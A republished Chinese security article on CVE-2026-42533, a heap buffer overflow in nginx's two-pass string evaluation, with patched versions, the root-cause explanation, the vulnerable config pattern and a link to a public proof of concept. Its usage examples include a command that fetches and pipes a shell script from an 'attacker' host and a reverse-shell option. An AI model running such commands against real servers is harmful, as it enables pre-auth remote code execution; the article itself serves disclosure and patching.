CVE-2026-42533—nginx堆缓冲区溢出PoC漏洞利用

admin 2026-08-04 07:51:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-42533是nginx双遍字符串求值引擎中的严重堆缓冲区溢出漏洞(CVSS9.2),影响多个版本。攻击者可通过特定配置模式实现预认证远程代码执行,PoC已公开。建议立即升级至nginx1.30.4/1.31.3或NGINXPlus修复版本。 综合评分: 90 文章分类: 漏洞分析,恶意软件,漏洞预警,安全工具,威胁情报


cover_image

CVE-2026-42533 — nginx 堆缓冲区溢出 PoC 漏洞利用

Ots安全

2026年7月28日 14:32 广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

公开 PoC 于 2026 年 7 月 27 日发布——不要等待,立即打补丁。

| | | | — | — | | CVE | CVE-2026-42533 | | CVSS 4.0 | 9.2(严重) | | 类型 | 堆缓冲区溢出(CWE-122) | | 做作的 | nginx 0.9.6 – 1.30.3(稳定版),0.9.6 – 1.31.2(主线版) | | 固定的 | nginx 1.30.4 / 1.31.3,NGINX Plus R36 P7 / 37.0.3.1 | | 已披露 | 2026-07-15 (F5 / NGINX) | | PoC已发布 | 2026-07-27 | | 研究员 | 斯坦·肖(0xCyberstan) |

概述

CVE-2026-42533 是 nginx 双遍字符串求值引擎中的一个严重堆缓冲区溢出漏洞。当基于正则表达式的map指令与编号捕获组(例如 <p> $1、$2<p> 等)交互时,共享r->captures结构会在 LEN(测量)和 VALUE(写入)两遍之间被静默覆盖。这会导致大小不匹配:

  • 更大的捕获 → 堆缓冲区溢出(攻击者控制的越界写入)
  • 较小的捕获 → 信息泄露(未初始化的堆内存暴露,libc/堆指针泄露)

这两个原语结合在一起,可以实现可靠的预认证远程代码执行,绕过 ASLR——在 Ubuntu 24.04 上以 10/10 的可靠性进行了验证。

工作原理

┌─────────────────────────────────────────────────────────────┐
│ LEN PASS (measure) │
│ $1 from location ~ ^/api/(...)$ =&nbsp;"abc"&nbsp;→ measures&nbsp;3&nbsp;bytes│
│ $overflow_gadget = giant_header → measures&nbsp;5000&nbsp;bytes │
│ Buffer&nbsp;allocated:5003&nbsp;bytes │
│ │
│ [ $overflow_gadget triggers map regex → clobbers $1 ] │
│ $1 now = giant_header (5000&nbsp;bytes) │
│ │
│ VALUE PASS (write) │
│ $1 writes&nbsp;5000&nbsp;bytes (LEN said&nbsp;3!) → OVERFLOW! │
│ $overflow_gadget writes&nbsp;5000&nbsp;bytes │
│ Total&nbsp;written:10000&nbsp;bytes into&nbsp;5003-byte buffer │
│ →&nbsp;4997&nbsp;bytes overflow into adjacent heap │
└─────────────────────────────────────────────────────────────┘

溢出会破坏相邻的堆结构。主要目标是ngx_pool_cleanup_t:

structngx_pool_cleanup_s&nbsp;{
&nbsp; &nbsp; ngx_pool_cleanup_pt handler;&nbsp;// function pointer → overwrite for RIP control
&nbsp; &nbsp;&nbsp;void&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *data;&nbsp;// argument to handler
&nbsp; &nbsp;&nbsp;ngx_pool_cleanup_t&nbsp; *next;&nbsp;// next in chain
};

当连接池被销毁时,handler(data)会调用 → 任意代码执行。

存储库结构

CVE-2026-42533/
├── exploit/
│ ├── exploit.py&nbsp; &nbsp; &nbsp; &nbsp;# Full exploit chain (leak → spray → overflow → RCE)
│ ├── leak.py&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Info leak module (heap/libc pointer leak)
│ ├── overflow.py&nbsp; &nbsp; &nbsp; # Heap overflow module (crash / RCE trigger)
│ ├── analyze.py&nbsp; &nbsp; &nbsp; &nbsp;# GDB analysis helper&nbsp;for&nbsp;offset determination
│ └── requirements.txt # Python dependencies
├── nginx/
│ └── nginx.conf&nbsp; &nbsp; &nbsp; &nbsp;# Vulnerable nginx configuration
├── Dockerfile # Docker build&nbsp;for&nbsp;test environment (Ubuntu&nbsp;24.04)
├── docker-compose.yml # Docker Compose&nbsp;for&nbsp;easy deployment
└── README.md

完整漏洞利用链

python3&nbsp;exploit/exploit.py<target>&nbsp;[options]

# Examples:
python3&nbsp;exploit/exploit.py192.168.1.100&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # full auto
python3&nbsp;exploit/exploit.py192.168.1.100&nbsp;--leak-only&nbsp; &nbsp; &nbsp; &nbsp; # recon&nbsp;only
python3&nbsp;exploit/exploit.py192.168.1.100&nbsp;--crash # verify vuln
python3&nbsp;exploit/exploit.py192.168.1.100&nbsp;--cmd&nbsp;"id > /tmp/pwned"

# Manual&nbsp;mode&nbsp;(if&nbsp;you have&nbsp;pre-leaked addresses)
python3&nbsp;exploit/exploit.py192.168.1.100&nbsp;\
&nbsp; &nbsp; --libc&nbsp;0x7f1234000000 \
&nbsp; &nbsp; --heap&nbsp;0x5a1234000000 \
&nbsp; &nbsp; --cmd&nbsp;"curl http://attacker/shell.sh | bash"

# Reverse&nbsp;shell
python3&nbsp;exploit/exploit.py192.168.1.100&nbsp;\
&nbsp; &nbsp; --reverse-shell&nbsp;--lhost&nbsp;10.0.0.1&nbsp;--lport&nbsp;4444

易受攻击的配置模式

该漏洞利用需要nginx配置中存在以下特定模式:

# 1. A regex-based map (clobbers capture state)
map&nbsp;$http_x_overflow$overflow_gadget&nbsp;{
&nbsp; &nbsp;&nbsp;"~^(.+)$"&nbsp;&nbsp;$1;&nbsp;# regex match overwrites $1
&nbsp; &nbsp; default&nbsp;"";
}

# 2. A regex location (creates captures)
server {
&nbsp; &nbsp; location ~ ^/api/(...)$ {&nbsp;# creates $1, $2, ...
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 3. Both capture AND map variable in same directive
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;200&nbsp;"$1$overflow_gadget";&nbsp;# ← two-pass sink
&nbsp; &nbsp; }
}

POC:

https://github.com/imbas007/cve-2026-42533

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《CVE-2026-42533 — nginx 堆缓冲区溢出 PoC 漏洞利用》

评论:0   参与:  0